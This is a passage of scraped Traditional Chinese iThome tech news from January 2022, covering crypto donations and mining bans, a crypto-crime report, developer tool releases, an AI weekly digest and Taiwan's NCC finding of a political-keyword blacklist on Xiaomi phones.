target="_blank">去年則推出自有搜尋引擎</a>、視訊會議功能Brave Talk、以及電子錢包Brave Wallet，並與加密貨幣業者如Solana、Gemini強化合作。</p> <p>Brave表示，不到半年來，Brave搜尋用戶查詢已超過23億次，而用戶點選分潤的合作驗證創作者（verified creators）的內容網站，則涵括YouTube、Twitch、推特等超過130萬，年成長30%。此外，過去12個月中，已經有超過800萬用戶賺BAT代幣，Brave Ads營收則成長4倍，合作廣告客戶近900家，包括福特、豐田、百威啤酒、沃爾瑪、Amazon、BMW等品牌、遊戲開發商Epic Games、Gala Games或是Binance、Coinbase、Crypto.com等加密貨幣平台，進行了超過5000次行銷活動。</p> <p>另一個主打隱私的獨立軟體開發商DuckduckGo則反過來從搜尋引擎出發，<a href="https://www.ithome.com.tw/news/148580" target="_blank">於去年底推出自有桌機版瀏覽器</a>，並主打整合搜尋、郵件與App防追蹤隱私工具。</p> </div></div></div>
2022/1/7 13:05作者林妍溱https://www.ithome.com.tw/news/148758
環保爭議讓Mozilla暫停接受加密貨幣捐款
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://twitter.com/mozilla/status/1479143340159422468" target="_blank">Mozilla基金會今日宣布</a>，為了氣候變遷的因素，即日起將暫停接受外界以加密貨幣捐款。</p> <p>Mozilla基金會的態度是在一周內改變的。<a href="https://twitter.com/mozilla/status/1476951030638260225" target="_blank">該基金會才在今年的1月1日鼓勵</a>手上持有加密貨幣的使用者，透過BitPay捐贈給該基金會，結果惹到了Mozilla創辦人Jamie Zawinski。</p> <p>Zawinski在1998年創辦Mozilla.org之後，隔年就辭職了，而Mozilla.org即為Mozilla基金會的前身。<a href="https://twitter.com/jwz/status/1478022085737803776" target="_blank">Zawinski在Mozilla該則推文的下方留言</a>，怒罵這些號召使用者捐贈加密貨幣的團隊成員都應該感到羞恥，批評此一決定等同是與焚燒地球的龐式騙子同流合污。</p> <p>雖然Mozilla基金會自2014年就開始接受外界以加密貨幣捐款，但再度推廣卻受到Zawinski的無情抨擊，這使得該基金會重新思考了加密貨幣對環境可能帶來的衝擊，且在評估之際決定暫停接受基於加密貨幣的捐款。</p> <p>Mozilla表示，對該基金會而言，分散式網頁技術仍然會是一個重要的領域，只是沒意識到該領域從2014年以來的許多變化，因此將重新檢視接受加密貨幣捐款是否與其氣候目標相抵觸，基於開放源碼的精神，將把相關過程透明化，也會定期與外界分享有關的決策。</p> </div></div></div>
2022/1/7 13:24作者陳曉莉https://www.ithome.com.tw/news/148759
因應能源危機，科索沃禁止加密貨幣挖礦活動
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>一如其他面臨能源供給不足的歐洲國家，<a href="https://me.rks-gov.net/sq/lajmet/ministria-e-ekonomise-nenshkruan-marreveshje-per-mbeshtetje-financiare-prej-148-milion-per-trepcen-dhe-telekomin-si-dhe-merr-vendim-per-masa-emergjente#.YdRxz2jP2Um" target="_blank">東歐國家科索沃本周宣布緊急措施</a>，包括禁止高耗電的挖礦活動。</p> <p>為解決近日的缺電問題，科索沃經濟部在該國能源部緊急措施技術委員會建議下，由部長Artane Rizvanolli宣布一系列措施，包括60天緊急狀態，期間禁止境內所有加密貨幣生產。在此措施下，所有相關部門都必須找出挖礦活動的地點並加以遏阻。</p> <p>歐洲長期自足供電不足，仰賴俄羅斯供應低價天然氣。今年COVID-19疫情趨緩、經濟復甦，然俄羅斯與烏克蘭問題引發俄國切斷天然氣供給，導致歐洲國家陷入能源危機。</p> <p><a href="https://www.bbc.com/news/world-europe-59879760" target="_blank">BBC報導</a>，科索沃的民生用電40%仰賴進口。上個月該國境內的燃煤發電廠發生技術問題故障，迫使該國政府以高價向外國購電。缺電問題也引發科國民眾示威要求Rizvanolli下臺。</p> <p>科國之外，<a href="https://www.bnnbloomberg.ca/iran-orders-crypto-mining-ban-to-save-power-during-winter-crunch-1.1701012" target="_blank">伊朗也在12月宣布為期3個月的挖礦禁令</a>。伊朗去年多個城市發生大規模停電，當局歸咎挖礦用電飆升是缺電元兇之一，在禁令期間大舉查緝私人及無照業者的非法挖礦活動。</p> <p><a href="https://www.zdnet.com/article/cryptocurrency-should-bitcoin-mining-be-curbed-in-europe-swedish-authorities-say-yes/" target="_blank">瑞典能源部也在去年11月呼籲應禁止高耗電的挖礦活動</a>，因為挖礦不只瓜分了電力供給，挖礦產生的大量散熱也有害緩和地球暖化的努力。</p> </div></div></div>
2022/1/7 13:47作者林妍溱https://www.ithome.com.tw/news/148760
犯罪集團的虛擬貨幣錢包今年進帳140億美元，創紀錄
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://blog.chainalysis.com/reports/2022-crypto-crime-report-introduction/" target="_blank">區塊鏈分析業者Chainalysis本周公布了加密貨幣犯罪趨勢研究報告</a>，指出犯罪集團用來接受非法交易的加密錢包在2021年總計進帳了140億美元，創下歷史紀錄，比2020年的78億美元增加了79%。</p> <p>然而，加密貨幣並不僅受到犯罪集團的青睞，去年全球加密貨幣的交易量達到15.8兆美元，比2020年成長了567%，大勝犯罪集團的成長率。</p> <p>事實上，在2019年時，非法加密貨幣交易的規模占所有加密貨幣交易的3.37%，2020年則降至0.62%，去年再減少至0.15%，代表加密貨幣絕大多數都是合法且正常的交易。</p> <p>值得注意的是，在去年犯罪集團的非法交易中，有高達78億美元是來自詐騙，特別是所謂的「拉地毯」（Rug Pull）詐騙，意指專案開發者向大眾強力推廣，吸引投資者大量買進後，再宣布放棄專案並直接捲款潛逃，去年最有名的當屬Thodex詐騙案。</p> <p>Thodex為一土耳其的加密貨幣交易中心，在去年3月以發放免費狗狗幣予新註冊用戶為噱頭，吸引了龐大數量的新用戶，然而，該公司執行長卻在4月宣布暫停交易，且執行長人間蒸發。<a href="https://twitter.com/whitestream5/status/1387710491867353091" target="_blank">根據區塊鏈情報業者Whitestream的統計</a>，Thodex從2020年8月到2021年2月間，匯出了5,000個比特幣，價值約1.25億美元，疑似該平臺的套現操作。隨後更有媒體報導，Thodex總計盜走的投資人款項約為20億美元。</p> <p>除了78億美元屬於詐騙收入之外，去年還有32億美元的加密貨幣遭竊。</p> <p>Chainalysis建議，為了強化加密貨幣領域的安全，除了需要執法機關持續追查與扣押非法加密貨幣之外，也應協力對抗勒索軟體的威脅，打擊基於加密貨幣的洗錢行為，關注國家級駭客於加密貨幣犯罪行動中所扮演的角色，以及小心新興的非同質化代幣（NFT）詐騙案。</p> </div></div></div>
2022/1/7 12:21作者陳曉莉https://www.ithome.com.tw/news/148756
開源加密貨幣生態體系由以太坊拔得頭籌，比特幣名列第五
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://medium.com/electric-capital/electric-capital-developer-report-2021-f37874efea6d" target="_blank">加密貨幣資產管理業者Electric Capital本周公布了2021年的Web3開發者報告</a>，指出去年有超過3.4萬名的新進開發者提交了開源碼加密貨幣或Web3專案的程式碼，且每月的活躍開發者人數已達1.8萬人，而最受歡迎的專案為以太坊（Ethereum），其它依序是Polkadot、Cosmos、Solana，而比特幣（Bitcoin）則名列第五。</p> <p>Web3指的是基於區塊鏈的去中心化網路，雖被視為全球網路的趨勢之一，但目前最主要的應用仍為加密貨幣。</p> <p>研究顯示，以太坊為全球最吸引開發者的區塊鏈專案，在去年12月時，以太坊每月活躍開發者人數為4,011人，一年來成長42%，當中有2,081人屬於兼職開發者，全職開發者則接近1,400人。</p> <p>至於比特幣儘管仍為全球市值最高的加密貨幣，但去年首度從第二名的位置滑落至第五，其開發者人數不僅落後以太坊，也不如Polkadot、Cosmos與Solana等專案，比特幣去年12月的開發者人數為673人，一年僅成長9%，包含347名兼職開發者與接近250名的全職開發者。</p> <p>此外，以太坊也是最能留住開發者的專案，有30%的全職開發者是從2017年投入迄今。</p> </div></div></div>
2022/1/7 12:42作者陳曉莉https://www.ithome.com.tw/news/148757
.NET MAUI開始支援Fluent設計系統
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>微軟發布<a href="https://devblogs.microsoft.com/dotnet/announcing-dotnet-maui-preview-11/">.NET MAUI（Multi-platform App UI）最新預覽版11</a>，在這個版本，微軟加入了第一批Fluent UI控制樣式，並且提供多視窗實作，和各種控制功能，除此之外，微軟統一了iOS、macOS和tvOS類型，使Apple裝置應用程式開發者編寫程式碼更方便。</p> <p>微軟在Windows 11中，透過更新流暢設計系統（Fluent Design System），加入新的UI樣式，現在.NET MAUI所有控制元件，都會使用最新的版本，後續的預覽版也會以此為基礎，添加更多控制元件和主題支援，在預覽版11中，開發者會先看到按鈕、編輯器和輸入欄的變化。</p> <p>.NET MAUI本身預設使用特定於各平臺的設計和體驗，因此開發者的應用程式其實不需要進行額外的配置，就可以使單個程式碼庫適用於各平臺，並且獲得正確的外觀和感覺。</p> <p>和Xamarin.Forms比起來，.NET MAUI的額外更新是新增多視窗實作，由Application.Current.Windows管理所有視窗參照，而現在要新增視窗，只要簡單的幾行程式碼就能夠完成。另外，微軟在這個版本，使用C# 10模式更新了模板，官方提到，.NET MAUI存在的主要目標，就是要簡化開發工作，讓開發者能輕鬆建構應用程式，這個版本的模板更新，包括隱式using，當開發者選擇使用ImplicitUsings，便會看到更乾淨的專案檔案，所有using語句會被動態收集起來。</p> <p>Apple相關的SDK，也是微軟持續在更新的部分，在Xamarin SDK與.NET 6統一工作中，.NET 6原使用原生nint和nuint類型，而非System.nint和System.nuint，但這會影響現有針對iOS、macOS和tvOS，所使用.NET 6建構的函式庫，而透過讓類型更加一致，能夠改善開發體驗。不過，要使用這項更改，開發者必須要針對.NET 6重新編譯程式碼，並且要明確使用這些類型時，開發者應該更新.NET 6程式碼，來使用C#類型。</p> <p>微軟建議開發者在安裝最新Visual Studio 2022預覽版之前，應該先卸載之前所安裝的所有.NET 6預覽版和Visual Studio 2022預覽版，在新的Visual Studio 2022 17.1第二預覽版中，選擇以.NET行動開發，並勾選.NET MAUI預覽版，便可以使用最新的.NET MAUI進行開發。</p> </div></div></div>
2022/1/6 20:16作者李建興https://www.ithome.com.tw/news/148748
Visual Studio 17.1加入自動清理程式碼和自動儲存功能
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>微軟持續更新Visual Studio，在最新的<a href="https://devblogs.microsoft.com/visualstudio/visual-studio-17-1-preview-2-is-now-available/">17.1預覽版</a>，微軟在Git、搜尋和導覽，以及C++和.NET開發體驗上，加入許多新功能，除此之外，官方也提到，他們收集用戶的回饋來改進IDE的效能，目前C++專案中的Find All參照搜尋，效能提高了22％，而他們會繼續對IDE效能提升投入更多資源。</p> <p>Visual Studio 17.1讓開發者可以更容易地進行Git日常操作，現在能夠輕鬆地比較當前分支，和儲存庫中其他分支的差異，微軟提到，這在用戶準備拉取請求，或是在刪除分支的時候，會特別有用。這個版本還強化斷頭（Detached Head）支援，加入了簽出（Checkout）提交，以及簽出遠端分支的提示，現在用戶可以簽出任何提交，並回到儲存庫歷史紀錄上的任何一點，執行和測試程式碼，並且也能透過查看任何遠端分支的提示，來查看拉取和請求，以評估團隊的更新。</p> <p>微軟在這個版本加入了兩個好用的自動化功能，第一個是能自動清理用戶的程式碼，用戶可以配置自定義程式碼清理檔案，當用戶在儲存檔案時，這些配置檔案便會自動運作，執行像是移除不可見的變數、移除用不到的usings或是排序usings等動作，來最大程度減少拉取請求的風格違規，減少開發者花費在修復不符合標準程式碼的時間。</p> <p>另一個自動化功能，則是Visual Studio會自動儲存檔案，以維持檔案在最新的狀態。不少開發者都會使用Ctrl+S來持續儲存檔案，而Visual Studio自動儲存新功能，能夠替開發者省去儲存的麻煩，而且即便應用程式失去焦點，也會自動儲存檔案，當用戶切換到其他Windows應用程式時，Visual Studio自動將提交儲存到磁碟中。</p> <p>目前自動儲存仍然是一個預覽功能，除了在失去焦點時持續儲存之外，微軟正在考慮其功能，官方希望開發者可以提供回饋，協助他們改善功能。用戶只要按Ctrl+Q搜尋Autosave，便可以進入預覽功能頁面，啟用該功能，不過，當用戶同時啟用自動清理程式碼和自動儲存功能時，自動儲存並不會觸發程式碼清理。</p> </div></div></div>
2022/1/7 11:53作者李建興https://www.ithome.com.tw/news/148746
AWS推出CloudTrail Lake服務簡化企業稽核工作
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>AWS宣布正式推出<a href="https://aws.amazon.com/tw/about-aws/whats-new/2022/01/aws-cloudtrail-lake-audit-security/">AWS CloudTrail Lake</a>，這是一個受託管，用於稽核和安全目的的資料湖，供用戶聚合、不可變更地儲存和查詢日誌資料，並用於稽核、安全調查和操作故障排除。</p> <p>官方提到，CloudTrail Lake在同一個產品中，整合、儲存、最佳化和查詢功能，來簡化活動日誌分析工作。透過將這些功能整合到同個環境中，企業便不需要跨團隊和產品，逐一建立資料處理工作管線。CloudTrail Lake提供範例查詢，讓用戶能夠快速地編寫查詢，像是收集用戶活動等，來加速安全調查。</p> <p>由於CloudTrail Lake具有不可變事件資料儲存功能，和預設7年的資料留存期，能夠滿足大多數企業要求，而且CloudTrail Lake還能夠從多個AWS地區和帳戶中收集事件。用戶可以使用AWS SDK或使用AWS CLI，在CloudTrail控制臺中，啟用CloudTrail Lake功能。</p> <p>目前該服務在美東、美西、加拿大、歐洲、南美、中東和南非等地區提供，而亞洲則已經在東京、大阪、首爾、新加坡、孟買和雪梨地區上線。</p> </div></div></div>
2022/1/7 12:01作者李建興https://www.ithome.com.tw/news/148749
NumPy 1.22開始支援Windows/Arm64，並且完成主要註解工作
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>科學家愛用的科學運算函式庫NumPy，其開發團隊發布了最新<a href="https://numpy.org/doc/1.22/release/1.22.0-notes.html">1.22版本</a>，這是一個大型更新，由153位貢獻者，提供了609個拉取請求完成。 NumPy 1.22要能正確運作，該函式庫要求用戶安裝Python 3.8或更高版本，因為NumPy不再支援Python 3.7。</p> <p>這個版本有許多功能更新，新增新的API和方法，其中NumPy 1.22也是第一個支援Windows on Arm的版本。新版本允許開發人員透過bit_count函式，計算整數1位元的數字，並且使用註解區塊還能生成C/C++ API參照文件。</p> <p>NumPy是Python科學運算的基礎套件，為一個函式庫提供多維度陣列物件、各種衍生物件，以及對陣列快速運算的各種例程，包括數學、邏輯、形狀操作、排序、離散傅立葉轉換和基本線性代數等。NumPy的核心是Ndarray物件，該物件封裝了同構資料類型的n維陣列，許多操作在編譯程式碼時，能夠有效提升效能。</p> <p>主要NumPy命名空間註解功能基本上在這個版本已經完成，由於上游不斷地變化，因此接下來還是可能會有一些變動，但是主要工作都已經完成了，而這項工作會是用戶感受最明顯的變化。這項工作從NumPy 1.20版本就已經開始，當時類型註解已經成為NumPy函式庫的一部分，但註解剩餘的功能尚在進行，到了1.22，主要NumPy命名空間的部分也已經全註解完成。</p> <p>除了主要命名空間之外，還有其他帶有註解的子套件，包括numpy.testing、numpy.linalg和numpy.random。根據提議，NumPy 1.22加入了Array API的初始版本，這是如同CuPy和JAX，收集了可以用來創建跨應用程式的標準函式。</p> <p>Quantile和Percentile則加入新方法，兩者現在擁有新的關鍵字參數method=，支援13種不同的方法，用來取代過去的關鍵字參數interpolation=。官方提到，這些新方法提供了一組在文獻中常見的方法組合。</p> </div></div></div>
2022/1/7 12:05作者李建興https://www.ithome.com.tw/news/148752
AI趨勢周報第183期：斷詞等好久？Google開源新工具加速8倍工作時間
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <h3><span style="vertical-align: top; color: rgb(0, 0, 255);">重點新聞(1231～0106)</span></h3> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);">Google </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 斷詞 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> NLP </span></strong></span></p> <p><span style="font-size: 22px;"><strong>斷詞等好久？Google開源新工具加速8倍斷詞時間</strong></span></p> <p>Google日前發表一套新英文斷詞工具Fast WordPiece Tokenization，能提高斷詞工作速度達8倍。一般來說，要打造自然語言處理（NLP）應用，得先將文章斷詞（Tokenization），也就是把文章切分為字或更小的單位，將非結構化的資訊轉化為ML模型可消化的序列型資料。在深度學習模型中（如BERT），每個切分過的字（Token）會映射為嵌入式向量，作為模型輸入值。</p> <p>但，傳統斷詞方法，會將不存在於詞彙表中的生字歸類為未知。為改善問題，現代NLP專家開發出WordPiece系統，可將字切分為更小的子字（Subword）單位，來讓模型有足夠的資訊，推敲出字的意思。</p> <p>而Google開發一套改良的WordPiece系統，不僅能縮短斷詞時間、降低模型延遲，還能節省算力成本。這個工具有兩大特色，一是單字WordPiece斷詞，Google利用自行設計的LinMaxMatch演算法來加速，讓運算時間隨輸入字串長度而線性成長，有別於傳統方法的次方成長。另一是全流程WordPiece斷詞，不像傳統方法先預斷詞再呼叫WordPiece來進一步斷詞，Google將這兩個流程合而為一，且所需時間也是線性成長。經測試，Google的工具比熱門的HuggingFace工具快上8.2倍，比TensorFlow Text快上5倍多。Google也將這個工具用於自家業務，後來也在TensorFlow Text正式釋出。<a href="https://ai.googleblog.com/2021/12/a-fast-wordpiece-tokenization-system.html">（詳全文）</a></p> <p><img alt="" src="https://blogger.googleusercontent.com/img/a/AVvXsEh44VqfUTWJqYATv-iy0ZqA7G0F8gXd-KiSF7OqV9YvmL7yYzusm-doYZ615JB93xvpwp-CXIEOvHQBNbLmimehdgay98PA0IKjbi6lmKsRAAL0yJ6Lro63E53k5KtD9xeI9lUFexyetXqdnIKAsx01T8ZfPmGJiZ0QCNP1HuNmZlcGl8wxE6JSnJzQvA=w640-h438" /></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 英特爾 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 跨架構 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> oneAPI 2022 </span></strong></span></p> <p><span style="font-size: 22px;"><strong>英特爾免費釋出跨架構工具包，主打AI效能最佳化</strong></span></p> <p>英特爾日前推出跨架構工具包oneAPI 2022，一口氣涵蓋900多項技術更新，主打跨架構程式設計、AI效能最佳化和生產力優化工具，內含自編譯器、函式庫、預先最佳化框架、分析器、除錯器等工具。就跨架構程式設計來說，oneAPI 2022有個統一的編譯器，可實作C++、Python在CPU和GPU的資料平行處理、SYCL和Fortran，以及建模與微調的進階加速器，還有AI工作流程加速器。此外，該工具包搭配新一代Optimization for TensorFlow與Optimozation for PyTorch，執行深度學習框架的速度快了10倍。<a href="https://www.intel.com/content/www/us/en/newsroom/news/intel-empowers-developers-oneapi-2022-toolkits.html#gs.li2fus">（詳全文）</a></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> IBM </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 對抗攻擊 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 機器學習 </span></strong></span></p> <p><span style="font-size:22px;"><strong>ML模型如何抵抗惡意的干擾攻擊？IBM揭露心法</strong></span></p> <p>在機器學習模型預測越來越精準的同時，也有一種技術誕生，專門誘導模型給出錯誤的預測，這就是對抗攻擊（Adversarial attacks）。為提高模型抵抗力，IBM團隊展開研究，要找出模型脆弱之處和新風險。</p> <p>IBM發現，業界抵抗這種攻擊的方法，是用一套垂直聯合學習（VFL）框架，以多種來源的資料訓練模型，並只分享參數和梯度，來保護資料隱私。但這麼做的風險是，可從梯度中被推導出原始訓練資料。IBM也發展出一套攻擊手法CAFE3來驗證，不只能從梯度中還原資料，資料品質還比之前的攻擊手法好。於是，他們建議更好的做法是，利用合成梯度來訓練模型，而且，合成梯度的學習表現不會比真實梯度差。</p> <p>若是遇到資料污染問題，他們也提出2種解法，首先是依序淘汰不合格的機率，再來是降低獨特數據中，信賴區間的重疊。針對常見的對比學習方法，IBM也提出2個強化韌性的作法，一是讓模型專注於高頻率的訓練資料部分，二是利用特徵分群產生偽標籤。<a href="https://www.youtube.com/watch?v=9B2jKXGUZtc&t=3s">（詳全文）</a></p> <p> </p> <div class="media_embed" height="315px" width="560px"> <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315px" src="https://www.youtube.com/embed/9B2jKXGUZtc?controls=0" title="YouTube video player" width="560px"></iframe></div> <p> </p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> Meta </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 模型不確定性 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> Bean Machine </span></strong></span></p> <p><span style="font-size:22px;"><strong>如何測量模型不確定性？Meta開源Bean Machine函式庫可解題</strong></span></p> <p>Meta發布一款基於PyTorch的機率程式開發系統Bean Machine，可用來表達和了解日常ML模型中的不確定性。Bean Machine供使用者開發特定領域的機率模型，並用自動、不確定性學習演算法，來學習模型未觀察到的屬性。</p> <p>Bean Machine有三大好處，首先是不確定性估計，分析師能更全面掌握預測系統的行為，再來是表現性，Bean Machine能更好地表達結果意義，直接在原始程式碼中編碼模型，讓用戶能將模型的結構對應到問題的結果。最後是可解釋性，因為模型與領域相對應，所以可查詢模型中的中間學習屬性，這代表用戶不僅可使用模型「黑盒子」，還可以對特定預測的結果做出解釋，對於模型開發過程有很大的幫助。<a href="https://research.facebook.com/blog/2021/12/introducing-bean-machine-a-probabilistic-programming-platform-built-on-pytorch/">（詳全文）</a></p> <p><img alt="" src="https://scontent.ftpe12-2.fna.fbcdn.net/v/t39.8562-6/265629948_654943022167480_3395372637565397858_n.png?_nc_cat=111&ccb=1-5&_nc_sid=6825c5&_nc_ohc=02OQRnj_k3QAX9hlcvM&_nc_ht=scontent.ftpe12-2.fna&oh=00_AT-vQjl6vDpqbshZx5TlhOqhHXC15dnLdm5uBzokMs_WRA&oe=61DBE56C" /></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> OpenAI </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> GPT-3 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 客製化 </span></strong></span></p> <p><span style="font-size:22px;"><strong>OpenAI API服務開放客製，GPT-3可自行微調來優化</strong></span></p> <p>開發人員可用自己的資料來微調語言模型GPT-3了！OpenAI指出，使用者可用來開發適合其應用程式的自定義版本，讓模型能用於更多使用案例中，執行成本更低、速度也更快</p> <p>OpenAI進一步表示，透過微調，模型輸出的正確率可從83％提升到95％。而要自定義模型也非常簡單，用戶只需要提供資料集檔案，並在OpenAI命令列工具執行單個指令，系統便會自動開始自定義版本訓練，並且在OpenAI API中提供服務。<a href="https://openai.com/blog/customized-gpt3/">（詳全文）</a></p> <p><img alt="" src="https://cdn.openai.com/post-customized-gpt3-viable.png?v=2" /></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> ONNX Runtime </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> Xamarin </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 行動App </span></strong></span></p> <p><span style="font-size:22px;"><strong>ONNX Runtime 1.10支援Xamarin，開發者可用來打造AI行動App了</strong></span></p> <p>機器學習推理引擎ONNX Runtime 1.10版開始支援.NET框架專屬的行動App開發平臺Xamarin，讓開發者用C#程式語言來開發AI行動應用程式。ONNX Runtime 1.10版本的NuGet套件中，包含了對Android和iOS的支援，賦予開發者打造跨行動裝置AI應用程式的能力。</p> <p>除了對Android和iOS的支援，ONNX Runtime 1.10的新功能還包括加入X64和ARM64上的新量化核心，提升運算效能。在硬體的靈活度方面，新版本更新了TensorRT、DirectML、OpenVINO和DNNL Execution Providers，在Nvidia GPU上，Python GPU套件同時支援CUDA和TensorRT Provider，讓用戶更容易測試和使用。<a href="https://cloudblogs.microsoft.com/opensource/2021/12/14/add-ai-to-mobile-applications-with-xamarin-and-onnx-runtime/">（詳全文）</a></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 商湯科技 </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 獨角獸 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 上市 </span></strong></span></p> <p><span style="font-size:22px;"><strong>7年12輪融資，AI獨角獸商湯科技終於上市了</strong></span></p> <p>掛牌上市是不少AI新創的成長目標，2021年進入尾聲的倒數第二天，歷經7年多12輪融資和被美國列入黑名單的幾番波折，中國AI新創商湯科技終於在港交所掛牌上市，市值破256億美元。</p> <p>商湯科技專門打造智慧商務、智慧城市、智慧生活和智慧汽車等4大領域的AI軟體，專攻深度學習和電腦視覺等技術。7年多來累計開發了22,000個商用AI模型，就算力來說，他們擁有23個超級電腦叢集、2萬多張GPU，總算力達1.17百萬兆次浮點運算。研發人力約3,500多名，其中三分之二正攻讀碩博士，由40位教授帶帶領專案研究。</p> <p>商湯科技2020年總營收達5億多美元，歷年累積的融資金額高達52億美元。他們將資金大舉投入研究，光2021上半年的研發資金就高達27.8億美元。雖然，2018年至2021上半年營收將近15.7億美元，但同期間累計虧損約38億美元。盈利是商湯科技上市後，面對傳統網路公司和一般企業跨入AI領域競爭外的另一課題。<a href="https://www.sensetime.com/cn/news-detail/41164548?categoryId=72">（詳全文）</a></p> <p>圖片來源／Google、IBM、Meta、OpenAI</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> AI趨勢近期新聞 </span></strong></span></p> <p><strong>1. Meta AI公布照片修改偵測大賽結果</strong></p> <p><strong>2. Amazon用深度強化學習打造NLU排名新工具</strong></p> <p>資料來源：iThome整理，2022年1月</p> </div></div></div>
2022/1/6 17:20作者王若樸https://www.ithome.com.tw/news/148745
NCC警告小米Mi 10T 5G手機有敏感政治詞彙檢查功能，恐有回傳資訊疑慮
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>NCC今天(1/6)發稿指出，在臺灣販售的小米Mi 10T 5G手機，經檢測發現手機內建應用軟體會對敏感政治詞彙進行比對，甚至可能進一步回傳資訊，提醒民眾重視手機的個人隱私保護意識。</p> <p><a href="https://www.ithome.com.tw/news/146838" target="_blank">去年9月立陶宛政府發表調查報告</a>，在華為Huawei P40 5G與小米的Xiaomi Mi 10T 5G發現含有安全風險，其中在小米手機上發現的風險之一是，在手機內建的小米瀏覽器，使用蒐集用戶活動資料的Chinese Sensor Data，最多可蒐集61種資料，且傳送資訊至該國認為未提供妥善個資保護的第三地，因此視為安全風險。此外，也在該款手機內發現內容檢查機制，自動封鎖被列為黑名單的關鍵字，例如「自由西藏」、「民主臺灣萬歲」等等。</p> <p>NCC在獲知這項消息後，去年10月主動委託電信技術中心（TTC）檢測在臺灣銷售的同款手機，在該手機內建的7款App，包括個性主題、音樂、套裝軟體安裝程式、手機管家、垃圾清理、下載管理、小米視頻，發現會從globalapi.ad.xiaomi.com伺服器，下載敏感政治關鍵字，內含「自由中國」、「臺灣人權促進會」、「新疆」、「自由西藏」、「臺灣獨立」、「蔡英文」、「李登輝」、「近平」、「六四事件」、「中國國民黨」、「民進黨」等進行比對的檔案（MiAdBlacklistConfig，如上圖所示），該比對檔案涵蓋政治團體、宗教團體、政府、社會運動、政治人物的簡繁體中文與英文詞彙，總計2千多筆。NCC認為具有阻絕連網或回傳瀏覽行為的疑慮。</p> 